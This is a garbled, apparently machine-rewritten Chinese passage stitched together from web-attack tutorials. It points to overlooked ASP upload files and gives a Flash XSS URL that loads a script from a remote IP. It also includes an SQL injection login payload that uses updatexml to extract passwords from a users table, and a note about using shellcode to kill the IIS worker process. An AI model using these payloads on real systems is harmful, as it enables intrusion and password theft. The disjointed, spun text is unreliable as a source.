upLoad_bm1.asp和upLoad_c1.asp这两个随意选个，一般办理员都忽视了这2缝隙。 var imageData = {name: ""}往期回忆：请在右上角搜索关键字”Burpsuite”检查一切文章URL : http://**.***.com/_common/jwplayer/player.swf?debug=(function(){location.href=%27javascript:%22%3Cscript/src=http://50.*.*.242/e.js%3E%3C/script%3E%22%27})username=admin&password=,updatexml(1,(select password from users limit 1),1) or '

呈现拒绝服务之后只能经过重启iis或是停止w3wp来处理，重启iis是做不到的，但能够在shellcode内调用ExitProcess来停止w3wp。